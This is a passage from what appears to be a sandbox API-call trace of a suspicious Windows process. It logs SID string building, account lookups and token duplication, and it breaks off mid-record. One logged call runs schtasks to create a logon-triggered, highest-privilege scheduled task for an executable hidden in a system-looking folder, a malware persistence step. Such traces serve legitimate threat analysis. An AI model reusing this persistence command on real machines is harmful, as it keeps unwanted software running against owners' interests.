[0161.543] free (_Block=0x2af180) [0161.543] malloc (_Size=0x18) returned 0x2af180 [0161.543] malloc (_Size=0x18) returned 0x2af280 [0161.543] SysStringLen (param_1="S-1-5-") returned 0x6 [0161.543] SysStringLen (param_1="21") returned 0x2 [0161.543] memcpy (in: _Dst=0x1423c8, _Src=0x142458, _Size=0xe | out: _Dst=0x1423c8) returned 0x1423c8 [0161.543] memcpy (in: _Dst=0x1423d4, _Src=0x142578, _Size=0x6 | out: _Dst=0x1423d4) returned 0x1423d4 [0161.543] free (_Block=0x2af1a0) [0161.543] free (_Block=0x2af180) [0161.543] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2b8b6c [0161.543] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0161.543] malloc (_Size=0x18) returned 0x2af180 [0161.544] malloc (_Size=0x18) returned 0x2af1a0 [0161.544] SysStringLen (param_1="S-1-5-21") returned 0x8 [0161.544] SysStringLen (param_1="-") returned 0x1 [0161.544] memcpy (in: _Dst=0x142578, _Src=0x1423c8, _Size=0x12 | out: _Dst=0x142578) returned 0x142578 [0161.544] memcpy (in: _Dst=0x142588, _Src=0x142458, _Size=0x4 | out: _Dst=0x142588) returned 0x142588 [0161.544] free (_Block=0x2af280) [0161.544] free (_Block=0x2af180) [0161.544] malloc (_Size=0x18) returned 0x2af180 [0161.544] malloc (_Size=0x18) returned 0x2af280 [0161.544] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0161.544] SysStringLen (param_1="4219442223") returned 0xa [0161.544] memcpy (in: _Dst=0x1179f8, _Src=0x142578, _Size=0x14 | out: _Dst=0x1179f8) returned 0x1179f8 [0161.544] memcpy (in: _Dst=0x117a0a, _Src=0x1423c8, _Size=0x16 | out: _Dst=0x117a0a) returned 0x117a0a [0161.544] free (_Block=0x2af1a0) [0161.544] free (_Block=0x2af180) [0161.544] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2b8b70 [0161.544] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0161.544] malloc (_Size=0x18) returned 0x2af180 [0161.544] malloc (_Size=0x18) returned 0x2af1a0 [0161.544] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0161.544] SysStringLen (param_1="-") returned 0x1 [0161.545] memcpy (in: _Dst=0x1179a8, _Src=0x1179f8, _Size=0x28 | out: _Dst=0x1179a8) returned 0x1179a8 [0161.545] memcpy (in: _Dst=0x1179ce, _Src=0x142578, _Size=0x4 | out: _Dst=0x1179ce) returned 0x1179ce [0161.545] free (_Block=0x2af280) [0161.545] free (_Block=0x2af180) [0161.545] malloc (_Size=0x18) returned 0x2af180 [0161.545] malloc (_Size=0x18) returned 0x2af280 [0161.545] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0161.545] SysStringLen (param_1="4223814209") returned 0xa [0161.545] memcpy (in: _Dst=0x12dc48, _Src=0x1179a8, _Size=0x2a | out: _Dst=0x12dc48) returned 0x12dc48 [0161.545] memcpy (in: _Dst=0x12dc70, _Src=0x142578, _Size=0x16 | out: _Dst=0x12dc70) returned 0x12dc70 [0161.545] free (_Block=0x2af1a0) [0161.545] free (_Block=0x2af180) [0161.545] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2b8b74 [0161.545] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0161.545] malloc (_Size=0x18) returned 0x2af180 [0161.545] malloc (_Size=0x18) returned 0x2af1a0 [0161.545] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0161.545] SysStringLen (param_1="-") returned 0x1 [0161.545] memcpy (in: _Dst=0x107588, _Src=0x12dc48, _Size=0x3e | out: _Dst=0x107588) returned 0x107588 [0161.545] memcpy (in: _Dst=0x1075c4, _Src=0x142578, _Size=0x4 | out: _Dst=0x1075c4) returned 0x1075c4 [0161.546] free (_Block=0x2af280) [0161.546] free (_Block=0x2af180) [0161.546] malloc (_Size=0x18) returned 0x2af180 [0161.546] malloc (_Size=0x18) returned 0x2af280 [0161.546] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0161.548] SysStringLen (param_1="3835049652") returned 0xa [0161.548] memcpy (in: _Dst=0x12dc48, _Src=0x107588, _Size=0x40 | out: _Dst=0x12dc48) returned 0x12dc48 [0161.548] memcpy (in: _Dst=0x12dc86, _Src=0x142578, _Size=0x16 | out: _Dst=0x12dc86) returned 0x12dc86 [0161.548] free (_Block=0x2af1a0) [0161.548] free (_Block=0x2af180) [0161.548] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2b8b78 [0161.548] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0161.548] malloc (_Size=0x18) returned 0x2af180 [0161.548] malloc (_Size=0x18) returned 0x2af1a0 [0161.548] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0161.548] SysStringLen (param_1="-") returned 0x1 [0161.548] memcpy (in: _Dst=0x107588, _Src=0x12dc48, _Size=0x54 | out: _Dst=0x107588) returned 0x107588 [0161.548] memcpy (in: _Dst=0x1075da, _Src=0x142578, _Size=0x4 | out: _Dst=0x1075da) returned 0x1075da [0161.549] free (_Block=0x2af280) [0161.549] free (_Block=0x2af180) [0161.549] malloc (_Size=0x18) returned 0x2af180 [0161.549] malloc (_Size=0x18) returned 0x2af280 [0161.549] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0161.549] SysStringLen (param_1="1000") returned 0x4 [0161.549] memcpy (in: _Dst=0x12dc48, _Src=0x107588, _Size=0x56 | out: _Dst=0x12dc48) returned 0x12dc48 [0161.549] memcpy (in: _Dst=0x12dc9c, _Src=0x142578, _Size=0xa | out: _Dst=0x12dc9c) returned 0x12dc9c [0161.549] free (_Block=0x2af1a0) [0161.549] free (_Block=0x2af180) [0161.549] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0161.549] malloc (_Size=0x5e) returned 0x2b0ad0 [0161.549] free (_Block=0x2af280) [0161.549] malloc (_Size=0x18) returned 0x2af280 [0161.550] free (_Block=0x2b0ad0) [0161.550] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0161.550] GetLastError () returned 0x7a [0161.551] malloc (_Size=0x14) returned 0x2af180 [0161.551] malloc (_Size=0x16) returned 0x2af1a0 [0161.551] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af180, cchName=0xe7ca94, ReferencedDomainName=0x2af1a0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0161.551] malloc (_Size=0x18) returned 0x2af260 [0161.551] malloc (_Size=0x18) returned 0x2af240 [0161.551] free (_Block=0x2af180) [0161.551] free (_Block=0x2af1a0) [0161.552] free (_Block=0x2b8710) [0161.552] free (_Block=0x2af240) [0161.552] free (_Block=0x2af260) [0161.552] free (_Block=0x2af280) [0161.552] free (_Block=0x2b8b50) [0161.552] malloc (_Size=0x48) returned 0x2ad6d0 [0161.552] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0161.557] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0161.557] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0161.557] malloc (_Size=0x18) returned 0x2af280 [0161.557] CreateEnvironmentBlock () returned 0x1 [0161.593] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0161.593] malloc (_Size=0x18) returned 0x2af260 [0161.594] CreateProcessAsUserW (in: hToken=0x234, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"yardadultbehind\" /sc ONLOGON /tr \"'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x18a730, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"yardadultbehind\" /sc ONLOGON /tr \"'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'\" /rl HIGHEST /f", lpProcessInformation=0xe7cba0*(hProcess=0x300, hThread=0x2fc, dwProcessId=0x914, dwThreadId=0x918)) returned 1 [0161.598] CloseHandle (hObject=0x300) returned 1 [0161.598] CloseHandle (hObject=0x2fc) returned 1 [0161.599] free (_Block=0x2af260) [0161.599] DestroyEnvironmentBlock () returned 0x1 [0161.599] malloc (_Size=0x48) returned 0x2ad680 [0161.599] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x2c87bf20, dwHighDateTime=0x1d8a92a)) [0161.599] SetEvent (hEvent=0x1f0) returned 1 [0161.599] CloseHandle (hObject=0x2d4) returned 1 [0161.599] CloseHandle (hObject=0x234) returned 1 [0161.803] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd940 [0161.803] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd940, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0161.803] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd940 | out: hHeap=0xc0000) returned 1 [0162.145] SetLastError (dwErrCode=0x0) [0162.145] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0162.145] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0162.145] SetLastError (dwErrCode=0x0) [0162.145] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0162.145] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd940 [0162.146] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0162.146] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12eec0 [0162.146] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12eec0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0162.146] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12eec0 | out: hHeap=0xc0000) returned 1 [0162.147] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0162.148] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0162.148] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0162.148] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0162.148] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0162.148] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0162.148] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0162.150] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0162.150] GetCurrentThread () returned 0xfffffffffffffffe [0162.150] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x244) returned 1 [0162.150] malloc (_Size=0xd8) returned 0x2b35c0 [0162.150] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0162.151] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0162.151] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0162.151] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0162.151] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0162.151] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0162.151] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0162.152] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0162.152] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0162.152] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0162.152] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0162.152] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0162.152] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0162.152] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0162.152] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0162.152] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0162.153] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0162.153] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0162.153] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0162.153] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0162.153] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0162.153] malloc (_Size=0x18) returned 0x2af280 [0162.153] DuplicateTokenEx (in: hExistingToken=0x244, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x1ec) returned 1 [0162.153] malloc (_Size=0x48) returned 0x2ad680 [0162.153] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x2cdb0f40, dwHighDateTime=0x1d8a92a)) [0162.153] SetEvent (hEvent=0x1f0) returned 1 [0162.155] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0162.155] GetLastError () returned 0x7a [0162.155] malloc (_Size=0x2c) returned 0x2b8b10 [0162.155] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0x2b8b10, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2b8b10, ReturnLength=0xe7cb60) returned 1 [0162.155] IsValidSid (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0162.155] GetLengthSid (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0162.155] malloc (_Size=0x1c) returned 0x2b8650 [0162.155] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b8650, pSourceSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b8650*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0162.156] GetSidIdentifierAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b22 [0162.156] malloc (_Size=0x18) returned 0x2af280 [0162.156] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0162.156] malloc (_Size=0x18) returned 0x2af260 [0162.156] malloc (_Size=0x18) returned 0x2af240 [0162.156] SysStringLen (param_1="S-1-") returned 0x4 [0162.156] SysStringLen (param_1="5") returned 0x1 [0162.156] memcpy (in: _Dst=0x1424b8, _Src=0x142338, _Size=0xa | out: _Dst=0x1424b8) returned 0x1424b8 [0162.156] memcpy (in: _Dst=0x1424c0, _Src=0x142308, _Size=0x4 | out: _Dst=0x1424c0) returned 0x1424c0 [0162.156] free (_Block=0x2af280) [0162.156] free (_Block=0x2af260) [0162.156] GetSidSubAuthorityCount (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b21 [0162.156] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2b8b28 [0162.156] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0162.156] malloc (_Size=0x18) returned 0x2af260 [0162.156] malloc (_Size=0x18) returned 0x2af280 [0162.156] SysStringLen (param_1="S-1-5") returned 0x5 [0162.156] SysStringLen (param_1="-") returned 0x1 [0162.156] memcpy (in: _Dst=0x142308, _Src=0x1424b8, _Size=0xc | out: _Dst=0x142308) returned 0x142308 [0162.156] memcpy (in: _Dst=0x142312, _Src=0x142338, _Size=0x4 | out: _Dst=0x142312) returned 0x142312 [0162.156] free (_Block=0x2af240) [0162.156] free (_Block=0x2af260) [0162.156] malloc (_Size=0x18) returned 0x2af260 [0162.156] malloc (_Size=0x18) returned 0x2af240 [0162.156] SysStringLen (param_1="S-1-5-") returned 0x6 [0162.157] SysStringLen (param_1="21") returned 0x2 [0162.157] memcpy (in: _Dst=0x142338, _Src=0x142308, _Size=0xe | out: _Dst=0x142338) returned 0x142338 [0162.157] memcpy (in: _Dst=0x142344, _Src=0x1424b8, _Size=0x6 | out: _Dst=0x142344) returned 0x142344 [0162.157] free (_Block=0x2af280) [0162.157] free (_Block=0x2af260) [0162.157] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2b8b2c [0162.157] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0162.157] malloc (_Size=0x18) returned 0x2af260 [0162.157] malloc (_Size=0x18) returned 0x2af280 [0162.157] SysStringLen (param_1="S-1-5-21") returned 0x8 [0162.157] SysStringLen (param_1="-") returned 0x1 [0162.157] memcpy (in: _Dst=0x1424b8, _Src=0x142338, _Size=0x12 | out: _Dst=0x1424b8) returned 0x1424b8 [0162.157] memcpy (in: _Dst=0x1424c8, _Src=0x142308, _Size=0x4 | out: _Dst=0x1424c8) returned 0x1424c8 [0162.157] free (_Block=0x2af240) [0162.157] free (_Block=0x2af260) [0162.157] malloc (_Size=0x18) returned 0x2af260 [0162.157] malloc (_Size=0x18) returned 0x2af240 [0162.157] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0162.157] SysStringLen (param_1="4219442223") returned 0xa [0162.157] memcpy (in: _Dst=0x1182b8, _Src=0x1424b8, _Size=0x14 | out: _Dst=0x1182b8) returned 0x1182b8 [0162.157] memcpy (in: _Dst=0x1182ca, _Src=0x142338, _Size=0x16 | out: _Dst=0x1182ca) returned 0x1182ca [0162.157] free (_Block=0x2af280) [0162.157] free (_Block=0x2af260) [0162.157] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2b8b30 [0162.157] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0162.157] malloc (_Size=0x18) returned 0x2af260 [0162.158] malloc (_Size=0x18) returned 0x2af280 [0162.158] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0162.158] SysStringLen (param_1="-") returned 0x1 [0162.158] memcpy (in: _Dst=0x117ea8, _Src=0x1182b8, _Size=0x28 | out: _Dst=0x117ea8) returned 0x117ea8 [0162.158] memcpy (in: _Dst=0x117ece, _Src=0x1424b8, _Size=0x4 | out: _Dst=0x117ece) returned 0x117ece [0162.158] free (_Block=0x2af240) [0162.158] free (_Block=0x2af260) [0162.158] malloc (_Size=0x18) returned 0x2af260 [0162.158] malloc (_Size=0x18) returned 0x2af240 [0162.158] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0162.158] SysStringLen (param_1="4223814209") returned 0xa [0162.158] memcpy (in: _Dst=0x12d6f8, _Src=0x117ea8, _Size=0x2a | out: _Dst=0x12d6f8) returned 0x12d6f8 [0162.158] memcpy (in: _Dst=0x12d720, _Src=0x1424b8, _Size=0x16 | out: _Dst=0x12d720) returned 0x12d720 [0162.158] free (_Block=0x2af280) [0162.158] free (_Block=0x2af260) [0162.158] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2b8b34 [0162.158] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0162.158] malloc (_Size=0x18) returned 0x2af260 [0162.158] malloc (_Size=0x18) returned 0x2af280 [0162.158] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0162.158] SysStringLen (param_1="-") returned 0x1 [0162.158] memcpy (in: _Dst=0x171608, _Src=0x12d6f8, _Size=0x3e | out: _Dst=0x171608) returned 0x171608 [0162.158] memcpy (in: _Dst=0x171644, _Src=0x1424b8, _Size=0x4 | out: _Dst=0x171644) returned 0x171644 [0162.158] free (_Block=0x2af240) [0162.158] free (_Block=0x2af260) [0162.158] malloc (_Size=0x18) returned 0x2af260 [0162.159] malloc (_Size=0x18) returned 0x2af240 [0162.159] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0162.159] SysStringLen (param_1="3835049652") returned 0xa [0162.159] memcpy (in: _Dst=0x12d6f8, _Src=0x171608, _Size=0x40 | out: _Dst=0x12d6f8) returned 0x12d6f8 [0162.159] memcpy (in: _Dst=0x12d736, _Src=0x1424b8, _Size=0x16 | out: _Dst=0x12d736) returned 0x12d736 [0162.159] free (_Block=0x2af280) [0162.159] free (_Block=0x2af260) [0162.159] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2b8b38 [0162.159] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0162.159] malloc (_Size=0x18) returned 0x2af260 [0162.159] malloc (_Size=0x18) returned 0x2af280 [0162.159] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0162.159] SysStringLen (param_1="-") returned 0x1 [0162.159] memcpy (in: _Dst=0x171608, _Src=0x12d6f8, _Size=0x54 | out: _Dst=0x171608) returned 0x171608 [0162.159] memcpy (in: _Dst=0x17165a, _Src=0x1424b8, _Size=0x4 | out: _Dst=0x17165a) returned 0x17165a [0162.159] free (_Block=0x2af240) [0162.159] free (_Block=0x2af260) [0162.159] malloc (_Size=0x18) returned 0x2af260 [0162.159] malloc (_Size=0x18) returned 0x2af240 [0162.159] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0162.159] SysStringLen (param_1="1000") returned 0x4 [0162.159] memcpy (in: _Dst=0x12d6f8, _Src=0x171608, _Size=0x56 | out: _Dst=0x12d6f8) returned 0x12d6f8 [0162.159] memcpy (in: _Dst=0x12d74c, _Src=0x1424b8, _Size=0xa | out: _Dst=0x12d74c) returned 0x12d74c [0162.159] free (_Block=0x2af280) [0162.159] free (_Block=0x2af260) [0162.159] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0162.159] malloc (_Size=0x5e) returned 0x2b0ad0 [0162.160] free (_Block=0x2af240) [0162.160] malloc (_Size=0x18) returned 0x2af240 [0162.160] free (_Block=0x2b0ad0) [0162.160] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, 